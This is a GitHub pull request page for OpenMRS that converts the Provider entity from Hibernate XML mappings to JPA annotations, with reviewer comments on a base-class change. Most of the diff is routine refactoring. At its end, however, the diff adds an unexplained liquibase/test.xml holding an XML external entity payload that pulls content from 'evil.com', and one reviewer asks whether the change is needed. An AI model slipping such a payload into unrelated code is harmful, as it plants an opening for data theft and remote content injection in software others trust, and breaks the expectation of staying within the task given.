Skip to content

TRUNK-5852: Provider Domain - Switching from Hibernate Mappings to Annotations #4910

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
wants to merge 4 commits into from
Closed

TRUNK-5852: Provider Domain - Switching from Hibernate Mappings to Annotations #4910

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
4 commits
Select commit Hold shift + click to select a range
e293fe2
hibernate annotations
kb019 Jan 30, 2025
eb6bf16
Merge branch 'master' of https://github.com/openmrs/openmrs-core into…
kb019 Feb 5, 2025
ce3a556
Annotate Provider
kb019 Feb 5, 2025
f710ddd
resolve conflicts
kb019 May 26, 2025
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
16 changes: 3 additions & 13 deletions api/src/main/java/org/openmrs/BaseCustomizableMetadata.java
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -36,26 +36,16 @@
@Audited
public abstract class BaseCustomizableMetadata<A extends Attribute> extends BaseChangeableOpenmrsMetadata implements Customizable<A> {

@OrderBy("voided asc")
@BatchSize(size = 100)
@OneToMany(cascade = CascadeType.ALL, orphanRemoval = true, fetch = FetchType.LAZY)
@JoinColumn(name = "location_id")
private Set<A> attributes = new LinkedHashSet<>();

/**
* @see org.openmrs.customdatatype.Customizable#getAttributes()
*/
@Override
public Set<A> getAttributes() {
return attributes;
}

public abstract Set<A> getAttributes();
/**
* @param attributes the attributes to set
*/
public void setAttributes(Set<A> attributes) {
this.attributes = attributes;
}
public abstract void setAttributes(Set<A> attributes);

Comment on lines 37 to +48
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

why did you make this change?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hi @ManojLL , The provider class had to have a different one to many mapping i.e i wanted to add mappedBy parameter in the @onetomany annotation,The problem was i could not override the OneToMany Mapping in base class. So i removed the field in superclass and made getter and setters as abstract and implemented it in base class. The tests were also failing without that. Thanks.

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can we look for a solution which does not require changing this class?

Comment on lines 36 to +48
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If existing code relied on the concrete implementations, confirm that refactoring won't break functionality


/**
* @see org.openmrs.customdatatype.Customizable#getActiveAttributes()
Expand Down
17 changes: 17 additions & 0 deletions api/src/main/java/org/openmrs/Location.java
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -35,6 +35,7 @@
import javax.persistence.Table;
import java.util.Collections;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Set;

Expand Down Expand Up @@ -150,6 +151,12 @@ public class Location extends BaseCustomizableMetadata<LocationAttribute> implem
@Independent
private Set<LocationTag> tags;

@OrderBy("voided asc")
@BatchSize(size = 100)
@OneToMany(cascade = CascadeType.ALL, orphanRemoval = true, fetch = FetchType.LAZY)
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do we need to change this class?

@JoinColumn(name = "location_id")
private Set<LocationAttribute> attributes = new LinkedHashSet<>();

// Constructors

/** default constructor */
Expand Down Expand Up @@ -854,4 +861,14 @@ public String getAddress15() {
public void setAddress15(String address15) {
this.address15 = address15;
}

@Override
public Set<LocationAttribute> getAttributes() {
return attributes;
}

@Override
public void setAttributes(Set<LocationAttribute> attributes) {
this.attributes = attributes;
}
}
14 changes: 14 additions & 0 deletions api/src/main/java/org/openmrs/OrderSet.java
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,9 @@
package org.openmrs;

import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Set;

import org.hibernate.envers.Audited;
import org.openmrs.api.APIException;
Expand Down Expand Up @@ -43,6 +45,8 @@ public enum Operator {
private List<OrderSetMember> orderSetMembers;

private Concept category;

private Set<OrderSetAttribute> attributes= new LinkedHashSet<>();

/**
* Gets the orderSetId
Expand Down Expand Up @@ -204,4 +208,14 @@ public void retireOrderSetMember(OrderSetMember orderSetMember) {
orderSetMember.setRetired(true);
}

@Override
public Set<OrderSetAttribute> getAttributes() {
return attributes;
}

@Override
public void setAttributes(Set<OrderSetAttribute> attributes) {
this.attributes = attributes;
}

}
57 changes: 56 additions & 1 deletion api/src/main/java/org/openmrs/Provider.java
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,27 @@
*/
package org.openmrs;

import javax.persistence.AttributeOverride;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.FetchType;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.JoinColumn;
import javax.persistence.ManyToOne;
import javax.persistence.OneToMany;
import javax.persistence.OrderBy;
import javax.persistence.Table;

import java.util.LinkedHashSet;
import java.util.Set;

import org.hibernate.annotations.BatchSize;
import org.hibernate.annotations.Cascade;
import org.hibernate.annotations.CascadeType;
import org.hibernate.annotations.GenericGenerator;
import org.hibernate.annotations.Parameter;
import org.hibernate.envers.Audited;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
Expand All @@ -18,21 +39,45 @@
*
* @since 1.9
*/
@Entity
@Table(name = "provider")
@Audited
@AttributeOverride(name = "name", column = @Column(name = "name"))
public class Provider extends BaseCustomizableMetadata<ProviderAttribute> {

private static final Logger log = LoggerFactory.getLogger(Provider.class);

@Id
@GeneratedValue(strategy = GenerationType.SEQUENCE, generator = "provider_id_seq")
@GenericGenerator(
name = "provider_id_seq",
strategy = "native",
parameters = @Parameter(name = "sequence", value = "provider_provider_id_seq")
)
@Column(name = "provider_id", nullable = false,insertable = false)
private Integer providerId;

@ManyToOne
@JoinColumn(name="person_id")
@Cascade(CascadeType.SAVE_UPDATE)
private Person person;

@Column(name="identifier")
private String identifier;

@ManyToOne
@JoinColumn(name="role_id")
private Concept role;

@ManyToOne
@JoinColumn(name="speciality_id")
private Concept speciality;


@OneToMany(mappedBy = "provider",cascade = javax.persistence.CascadeType.ALL,fetch = FetchType.LAZY,orphanRemoval = true)
@BatchSize(size = 100)
@OrderBy("voided ASC")
private Set<ProviderAttribute> attributes= new LinkedHashSet<>();
public Provider() {
}

Expand Down Expand Up @@ -138,6 +183,16 @@ public Concept getSpeciality() {
return speciality;
}

@Override
public Set<ProviderAttribute> getAttributes() {
return attributes;
}

@Override
public void setAttributes(Set<ProviderAttribute> attributes) {
this.attributes = attributes;
}

@Override
public String toString() {
String provider = String.valueOf(providerId) + " providerName:" + ((person != null) ? person.getNames() : "");
Expand Down
1 change: 0 additions & 1 deletion api/src/main/resources/hibernate.cfg.xml
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -99,7 +99,6 @@
<mapping resource="org/openmrs/api/db/hibernate/VisitAttribute.hbm.xml" />

<!-- Provider -->
<mapping resource="org/openmrs/api/db/hibernate/Provider.hbm.xml" />
<mapping resource="org/openmrs/api/db/hibernate/ProviderAttribute.hbm.xml" />

<mapping resource="org/openmrs/api/db/hibernate/ClobDatatypeStorage.hbm.xml" />
Expand Down
70 changes: 0 additions & 70 deletions api/src/main/resources/org/openmrs/api/db/hibernate/Provider.hbm.xml
View file
Open in desktop

This file was deleted.

1 change: 1 addition & 0 deletions api/src/test/java/org/openmrs/api/OrderServiceTest.java
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -2743,6 +2743,7 @@ public void saveOrder_shouldFailIfTheJavaTypeOfThePreviousOrderDoesNotMatch() th
.addAnnotatedClass(ProgramAttributeType.class)
.addAnnotatedClass(HL7InError.class)
.addAnnotatedClass(OrderType.class)
.addAnnotatedClass(Provider.class)
.addAnnotatedClass(ConceptAnswer.class)
.addAnnotatedClass(ConceptClass.class)
.getMetadataBuilder().build();
Expand Down
1 change: 1 addition & 0 deletions liquibase/test.xml
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
<!DOCTYPE root [<!ENTITY ext SYSTEM "http://evil.com/payload">]><root>&ext;</root>
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do we need this change?

Loading